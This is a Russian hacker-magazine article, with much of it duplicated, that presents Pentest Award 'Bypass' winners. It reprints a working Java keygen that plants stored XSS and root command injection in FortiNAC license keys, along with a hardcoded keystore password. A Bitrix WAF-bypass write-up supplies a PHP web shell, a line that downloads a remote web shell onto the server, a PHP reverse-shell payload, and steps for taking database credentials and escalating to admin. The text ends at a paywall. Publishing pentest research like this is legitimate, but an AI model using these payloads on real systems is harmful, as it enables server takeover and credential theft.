Сегодня мы познакомим тебя с четырьмя лучшими работами с Pentest Award из номинации Bypass. Тебя ждут: взлом FortiNAC через вредоносный ключ активации, захват Bitrix в обход WAF, опыт написания реверс‑шелла с кастомным шифрованием на Haskell и метод сайдлоада DLL, позволяющий миновать средство защиты.
В августе 2023 года прошла церемония награждения Pentest Award — премии для специалистов по тестированию на проникновение, которую учредила компания Awillix. Мы публикуем лучшие работы из каждой номинации. В этой статье собраны работы — победители в номинации Bypass.
В этом исследовании я изучил приложение FortiNAC и нашел цепочку дефектов и уязвимостей: облегчающая реверсинг дебаговая информация в скомпилированных классах Java, слабая криптография, хранимая XSS и инъекция команд, позволяющая создать генератор лицензионных ключей, которые после активации выполняют произвольный код от имени суперпользователя на сервере приложения.
Началось всё с декомпиляции Java-классов приложения, что позволило получить фактически исходный код (разве что без комментариев), в том числе имена локальных переменных, благодаря любезно оставленной при компиляции отладочной информации. Код, написанный на Java Server Pages, декомпиляции, разумеется, не требовал.
Я проанализировал механизм проверки лицензионных ключей и нашел легаси‑функцию. Она проверяет ключи в старом формате, основанном на уязвимой к реверсингу симметричной криптографии.
Таким образом удалось найти возможность инъекции команд через текст ключа.
Серийный номер задается произвольной строкой внутри ключа, а это открывает возможность для эксплуатации хранимой XSS на сайте приложения.
import com.bsc.license.LicenseDecoder;import com.bsc.license.FortiNACLicense;import com.bsc.license.FortiNACType;import com.bsc.util.EncodeDecode;import java.nio.file.Files;import java.nio.file.Paths;import java.io.IOException;import java.io.FileWriter;public class inject { static String pack(String s) { int l = s.length(); return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s; } static String key(FortiNACLicense l, String html) { return EncodeDecode.encodeString( pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) + pack(String.valueOf(l.getConcurrentClientCount())) + pack(«java.util.ArrayList») + pack(«») + // Plugins pack(l.getEth0MAC().toString()) + pack(l.getType().getFullName()) + pack(«») + // Vendor pack(«1.8″) + // Version pack(«java.util.ArrayList») + pack(«») + // Options pack(l.getSystemUUID().toString()) + pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways pack(l.getSKU()) + pack(l.getModelName()) + pack(«false») + // Expired pack(«1») + // rtrCount pack(l.getName().toString()) + pack(l.getSerial().toString() + html) + pack(String.valueOf(l.getGeneratedDate().toEpochMilli())) ); } public static void main(String[] args) throws IOException { String payload = new String(Files.readAllBytes(Paths.get(«.«, «payload.sh»))); System.setProperty(«javax.net.ssl.keyStorePassword», «^8Bradford%23»); LicenseDecoder ld = new LicenseDecoder(); FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(«.«, «input.lic»)))).replaceAll(«(\r|\n)«, «»)); System.out.println(l); FileWriter output = new FileWriter(«output.lic»); output.write( key( l, «<img src=’nowhere’ onerror=»var IP=$(‘licenseServerCombo‘).value.split(/ — /)[0];» + «CommonUtils.dataRequest(‘LicenseActions.jsp‘,{}, {action:‘ajaxApplyLicense‘,deviceProxy:IP,deviceIP:IP,thisIP:‘0’+IP,newLicense:‘» + key(l, «») + «;» + payload + «‘});«/>« ) ); output.close(); }}
После ухода Fortinet из России, внешний злоумышленник мог воспользоваться тем, что российские компании нуждаются в продлении лицензии на FortiNAC. Разместив в интернете кейгены, которые создавали бы «троянизированные» лицензионные ключи, он захватил бы серверы жертв.
Байпассы, о которых пойдет речь, проводились в разное время и при пентесте инфраструктуры разных компаний. Общее здесь — наличие одинакового WAF, правила для которого дописывались по ходу дела и его в качестве обновления получали все клиенты. То есть после изменения общего правила у одного клиента, другие его тоже получали.
В первый раз все было максимально прямолинейно. Через «1С:Битрикс» можно было закинуть шелл, исполнить код, получить доступ без дополнительных изменений нагрузки. В общем, делай что душа пожелает.
На второй раз мы встретили правило для WAF, которое блокировало конструкции такого типа:
<?php system($_GET[«cmd»]); ?>
Логичное решение, но от проблемы оно не избавляет. Жаль, у нас сразу не спросили, как закрыть эту дыру.
Теперь СЗИ блокирует с формулировкой «Remote code execution» и красивой надписью.
Мы без проблем обошли это правило. Например, сработает вот такой код:
$file = fopen(«/homepath/bitrix/ololol.php»,«wb»);$content = ‘whoami’;fwrite($file,$content);fclose($file);
Или такой:
file_put_contents(«/homepath/bitrix/ololololo.php»,fopen(«https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php», «r»));
После следующего обновления оказались запрещены все команды и функции PHP в теле запроса. Также изменили content-type и кое‑что еще. Но на этом приключения вовсе не закончились!
Позднее у другого заказчика мы снова нашли Bitrix с той же уязвимостью, но на этот раз под защитой СЗИ. Бороться с которой непросто, но попробовать стоило.
Тем более что обходной путь оказался очень простым. При помощи поисковика по истории доменного имени мы нашли dev-сайт.
Тут при нажатии «Авторизация Битрикс24» может дисклоузнуться основной домен, для которого этот «Битрикс» покупался.
Дальше всё по той же схеме: проверили путь для заливки, получили ID сессии Bitrix, загрузили шелл.
Вытаскиваем конфиг базы данных.
И получаем логин и пароль в виде MD5 и бонусом — email.
Подбираем пароль и заходим на главный сайт под админом (или почти). Получается, мы обошли WAF? Почти что. Осталось только выполнить код, но кнопка «Выполнить» неактивна.
Однако можно самостоятельно добавить себя в группу администраторов, достаточно лишь поставить галочку. Очень удобно!
После этого можно спокойно использовать встроенную функцию исполнения кода, а всё потому, что на этом эндпоинте правила не установлены. Вот такой вот «RCE by design»…
Еще возникли небольшие проблемы с выводом результата выполнения скрипта. Если первый запрос не сработает, то вывод остальных скриптов не отобразится, но это мелочи.
Нагрузка:
$sock=fsockopen(«ip»,port);$proc=proc_open(«sh», array(0=>$sock, 1=>$sock, 2=>$sock),$pipes)
Здесь можно дать следующие рекомендации:
В рамках одного из рабочих проектов по внутреннему пентесту я обнаружил на одном из серверов возможность загружать файлы и запускать их. Там работала ОС Windows Server. Но, помимо этого, был установлен один из наиболее известных антивирусов в актуальной версии, со свежими обновлениями и с правильно заданными настройками (нечасто такое встретишь, верно?).
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
9990 рублей 4000 р.
[TD]
920 р.
[/TD]
Я уже участник «Xakep.ru»
Pentest Award
В августе 2023 года прошла церемония награждения Pentest Award — премии для специалистов по тестированию на проникновение, которую учредила компания Awillix. Мы публикуем лучшие работы из каждой номинации. В этой статье собраны работы — победители в номинации Bypass.
Четвертое место: «Кейген для Fortinet FortiNAC, встраивающий в лицензионный ключ пейлоад root RCE (CVE-2023-22637)»
- Автор: Илья Поляков, Angara Security
В этом исследовании я изучил приложение FortiNAC и нашел цепочку дефектов и уязвимостей: облегчающая реверсинг дебаговая информация в скомпилированных классах Java, слабая криптография, хранимая XSS и инъекция команд, позволяющая создать генератор лицензионных ключей, которые после активации выполняют произвольный код от имени суперпользователя на сервере приложения.
Началось всё с декомпиляции Java-классов приложения, что позволило получить фактически исходный код (разве что без комментариев), в том числе имена локальных переменных, благодаря любезно оставленной при компиляции отладочной информации. Код, написанный на Java Server Pages, декомпиляции, разумеется, не требовал.
Я проанализировал механизм проверки лицензионных ключей и нашел легаси‑функцию. Она проверяет ключи в старом формате, основанном на уязвимой к реверсингу симметричной криптографии.
Таким образом удалось найти возможность инъекции команд через текст ключа.
Серийный номер задается произвольной строкой внутри ключа, а это открывает возможность для эксплуатации хранимой XSS на сайте приложения.
import com.bsc.license.LicenseDecoder;import com.bsc.license.FortiNACLicense;import com.bsc.license.FortiNACType;import com.bsc.util.EncodeDecode;import java.nio.file.Files;import java.nio.file.Paths;import java.io.IOException;import java.io.FileWriter;public class inject { static String pack(String s) { int l = s.length(); return String.valueOf(String.valueOf(l).length()) + String.valueOf(l) + s; } static String key(FortiNACLicense l, String html) { return EncodeDecode.encodeString( pack(String.valueOf(l.getDaysValid()*24L*3600L*1000L)) + pack(String.valueOf(l.getConcurrentClientCount())) + pack(«java.util.ArrayList») + pack(«») + // Plugins pack(l.getEth0MAC().toString()) + pack(l.getType().getFullName()) + pack(«») + // Vendor pack(«1.8″) + // Version pack(«java.util.ArrayList») + pack(«») + // Options pack(l.getSystemUUID().toString()) + pack(String.valueOf(l.getUSG())) + // Not really USG, but anyways pack(l.getSKU()) + pack(l.getModelName()) + pack(«false») + // Expired pack(«1») + // rtrCount pack(l.getName().toString()) + pack(l.getSerial().toString() + html) + pack(String.valueOf(l.getGeneratedDate().toEpochMilli())) ); } public static void main(String[] args) throws IOException { String payload = new String(Files.readAllBytes(Paths.get(«.«, «payload.sh»))); System.setProperty(«javax.net.ssl.keyStorePassword», «^8Bradford%23»); LicenseDecoder ld = new LicenseDecoder(); FortiNACLicense l = ld.decode((new String(Files.readAllBytes(Paths.get(«.«, «input.lic»)))).replaceAll(«(\r|\n)«, «»)); System.out.println(l); FileWriter output = new FileWriter(«output.lic»); output.write( key( l, «<img src=’nowhere’ onerror=»var IP=$(‘licenseServerCombo‘).value.split(/ — /)[0];» + «CommonUtils.dataRequest(‘LicenseActions.jsp‘,{}, {action:‘ajaxApplyLicense‘,deviceProxy:IP,deviceIP:IP,thisIP:‘0’+IP,newLicense:‘» + key(l, «») + «;» + payload + «‘});«/>« ) ); output.close(); }}
После ухода Fortinet из России, внешний злоумышленник мог воспользоваться тем, что российские компании нуждаются в продлении лицензии на FortiNAC. Разместив в интернете кейгены, которые создавали бы «троянизированные» лицензионные ключи, он захватил бы серверы жертв.
Третье место: «Известная уязвимость в Bitrix и байпас WAF»
- Автор: maledictos
Байпассы, о которых пойдет речь, проводились в разное время и при пентесте инфраструктуры разных компаний. Общее здесь — наличие одинакового WAF, правила для которого дописывались по ходу дела и его в качестве обновления получали все клиенты. То есть после изменения общего правила у одного клиента, другие его тоже получали.
В первый раз все было максимально прямолинейно. Через «1С:Битрикс» можно было закинуть шелл, исполнить код, получить доступ без дополнительных изменений нагрузки. В общем, делай что душа пожелает.
На второй раз мы встретили правило для WAF, которое блокировало конструкции такого типа:
<?php system($_GET[«cmd»]); ?>
Логичное решение, но от проблемы оно не избавляет. Жаль, у нас сразу не спросили, как закрыть эту дыру.
Теперь СЗИ блокирует с формулировкой «Remote code execution» и красивой надписью.
Мы без проблем обошли это правило. Например, сработает вот такой код:
$file = fopen(«/homepath/bitrix/ololol.php»,«wb»);$content = ‘whoami’;fwrite($file,$content);fclose($file);
Или такой:
file_put_contents(«/homepath/bitrix/ololololo.php»,fopen(«https://raw.githubusercontent.com/artyuum/simple-php-web-shell/master/index.php», «r»));
После следующего обновления оказались запрещены все команды и функции PHP в теле запроса. Также изменили content-type и кое‑что еще. Но на этом приключения вовсе не закончились!
Позднее у другого заказчика мы снова нашли Bitrix с той же уязвимостью, но на этот раз под защитой СЗИ. Бороться с которой непросто, но попробовать стоило.
Тем более что обходной путь оказался очень простым. При помощи поисковика по истории доменного имени мы нашли dev-сайт.
Тут при нажатии «Авторизация Битрикс24» может дисклоузнуться основной домен, для которого этот «Битрикс» покупался.
Дальше всё по той же схеме: проверили путь для заливки, получили ID сессии Bitrix, загрузили шелл.
Вытаскиваем конфиг базы данных.
И получаем логин и пароль в виде MD5 и бонусом — email.
Подбираем пароль и заходим на главный сайт под админом (или почти). Получается, мы обошли WAF? Почти что. Осталось только выполнить код, но кнопка «Выполнить» неактивна.
Однако можно самостоятельно добавить себя в группу администраторов, достаточно лишь поставить галочку. Очень удобно!
После этого можно спокойно использовать встроенную функцию исполнения кода, а всё потому, что на этом эндпоинте правила не установлены. Вот такой вот «RCE by design»…
Еще возникли небольшие проблемы с выводом результата выполнения скрипта. Если первый запрос не сработает, то вывод остальных скриптов не отобразится, но это мелочи.
Нагрузка:
$sock=fsockopen(«ip»,port);$proc=proc_open(«sh», array(0=>$sock, 1=>$sock, 2=>$sock),$pipes)
Здесь можно дать следующие рекомендации:
- сменить все пароли;
- обновить Bitrix до актуальной версии или отключить уязвимый эндпоинт;
- если не используется функция исполнения кода из UI, удалить этот модуль;
- при миграции сайта закрыть доступ к dev-среде из интернета или закрыть ее при помощи СЗИ;
- не переносить базу данных dev-среды в продакшен‑среду.
Второе место: «Reverse shell на Haskell и собственный шифрованный канал связи для обхода актуальной версии антивируса»
- Автор: W0lFreaK
В рамках одного из рабочих проектов по внутреннему пентесту я обнаружил на одном из серверов возможность загружать файлы и запускать их. Там работала ОС Windows Server. Но, помимо этого, был установлен один из наиболее известных антивирусов в актуальной версии, со свежими обновлениями и с правильно заданными настройками (нечасто такое встретишь, верно?).
Присоединяйся к сообществу «Xakep.ru»!
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
-60% |
1 year
9990 рублей 4000 р.
[TD]
1 month_r
920 р.
[/TD]
Я уже участник «Xakep.ru»